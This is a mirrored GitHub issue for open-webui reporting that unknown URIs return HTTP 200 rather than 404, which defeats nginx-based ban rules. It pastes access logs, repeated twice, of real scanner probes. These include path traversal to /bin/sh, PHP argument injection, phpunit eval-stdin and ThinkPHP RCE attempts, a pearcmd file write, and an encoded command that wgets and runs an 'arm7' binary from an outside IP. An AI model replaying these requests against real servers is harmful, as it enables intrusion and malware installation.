github-starred/open-webui
2
0
Fork 0
mirror of https://github.com/open-webui/open-webui.git synced 2026-07-15 21:19:39 -05:00
Code Issues 2.4k Packages Projects Releases 129 Wiki Activity

[GH-ISSUE #10473] [Security] Unknown URI must be answered with HTTP 404 to allow a fronted web server to detect malicious traffic #15903

New Issue
Closed
opened 2026-04-19 21:59:07 -05:00 by GiteaMirror · 0 comments
GiteaMirror commented 2026-04-19 21:59:07 -05:00
Owner
Copy Link

Originally created by @Fade78 on GitHub (Feb 20, 2025).
Original GitHub issue: https://github.com/open-webui/open-webui/issues/10473

When a URI is asked to open-webui (container v0.5.14) but is unknown, a page is returned saying "404 not found" but the actual return code is 200.

My open-webui is exposed on internet, behind a nginx instance. Crawler/hackers try to find some weird stuff by testing many URI. When they do that, in a normal case, it makes a lot of 404 answers that can trigger rate-limiting or ban because the return codes are monitored by the nginx. But with open-webui returning 200, this trafic looks legit.

Useless logs, just for fun:

173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 166 "-" "-" compression=- rt=0.066
173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 166 "-" "-" compression=- rt=0.042
173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 405 31 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:21 +0100] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:21 +0100] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:21 +0100] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.005
173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:23 +0100] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:23 +0100] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:25 +0100] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:25 +0100] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:26 +0100] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:26 +0100] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:26 +0100] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" compression=- rt=0.001
173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:28 +0100] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:28 +0100] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:29 +0100] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:29 +0100] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:30 +0100] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:30 +0100] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:30 +0100] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:32 +0100] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003
173.212.213.162 - - [20/Feb/2025:23:53:32 +0100] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:32 +0100] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002
173.212.213.162 - - [20/Feb/2025:23:53:33 +0100] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:33 +0100] "GET /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004
173.212.213.162 - - [20/Feb/2025:23:53:33 +0100] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\x22hi\x22));?>+/tmp/index1.php HTTP/1.1" 444 0 "-" "Custom-AsyncHttpClient" compression=- rt=0.000
91.224.92.10 - - [21/Feb/2025:00:00:06 +0100] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F45.125.66.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 444 0 "-" "Mozila/5.0" compression=- rt=0.000
104.255.173.144 - - [21/Feb/2025:00:06:02 +0100] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" compression=- rt=0.000
104.255.173.144 - - [21/Feb/2025:00:06:02 +0100] "GET /wp-includes/ID3/license.txt HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" compression=- rt=0.000
104.255.173.144 - - [21/Feb/2025:00:06:03 +0100] "GET /feed/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" compression=- rt=0.000
Originally created by @Fade78 on GitHub (Feb 20, 2025). Original GitHub issue: https://github.com/open-webui/open-webui/issues/10473 When a URI is asked to open-webui (container v0.5.14) but is unknown, a page is returned saying "404 not found" but the actual return code is 200. My open-webui is exposed on internet, behind a nginx instance. Crawler/hackers try to find some weird stuff by testing many URI. When they do that, in a normal case, it makes a lot of 404 answers that can trigger rate-limiting or ban because the return codes are monitored by the nginx. But with open-webui returning 200, this trafic looks legit. Useless logs, just for fun: ``` 173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 166 "-" "-" compression=- rt=0.066 173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 166 "-" "-" compression=- rt=0.042 173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 405 31 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:20 +0100] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:21 +0100] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:21 +0100] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:21 +0100] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.005 173.212.213.162 - - [20/Feb/2025:23:53:22 +0100] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:23 +0100] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:23 +0100] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:24 +0100] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:25 +0100] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:25 +0100] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:26 +0100] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:26 +0100] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:26 +0100] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "Custom-AsyncHttpClient" compression=- rt=0.001 173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:27 +0100] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:28 +0100] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:28 +0100] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:29 +0100] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:29 +0100] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:30 +0100] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:30 +0100] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:30 +0100] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:31 +0100] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:32 +0100] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.003 173.212.213.162 - - [20/Feb/2025:23:53:32 +0100] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:32 +0100] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.002 173.212.213.162 - - [20/Feb/2025:23:53:33 +0100] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:33 +0100] "GET /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 6591 "-" "Custom-AsyncHttpClient" compression=- rt=0.004 173.212.213.162 - - [20/Feb/2025:23:53:33 +0100] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\x22hi\x22));?>+/tmp/index1.php HTTP/1.1" 444 0 "-" "Custom-AsyncHttpClient" compression=- rt=0.000 91.224.92.10 - - [21/Feb/2025:00:00:06 +0100] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F45.125.66.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 444 0 "-" "Mozila/5.0" compression=- rt=0.000 104.255.173.144 - - [21/Feb/2025:00:06:02 +0100] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" compression=- rt=0.000 104.255.173.144 - - [21/Feb/2025:00:06:02 +0100] "GET /wp-includes/ID3/license.txt HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" compression=- rt=0.000 104.255.173.144 - - [21/Feb/2025:00:06:03 +0100] "GET /feed/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" compression=- rt=0.000 ```
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
bug
confirmed
confirmed issue
core
documentation
enhancement
good first issue
help wanted
non-core
pull-request
Mirrored from GitHub Pull Request
 python
question
testing wanted
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
GiteaMirror ninjasurge
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: github-starred/open-webui#15903
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?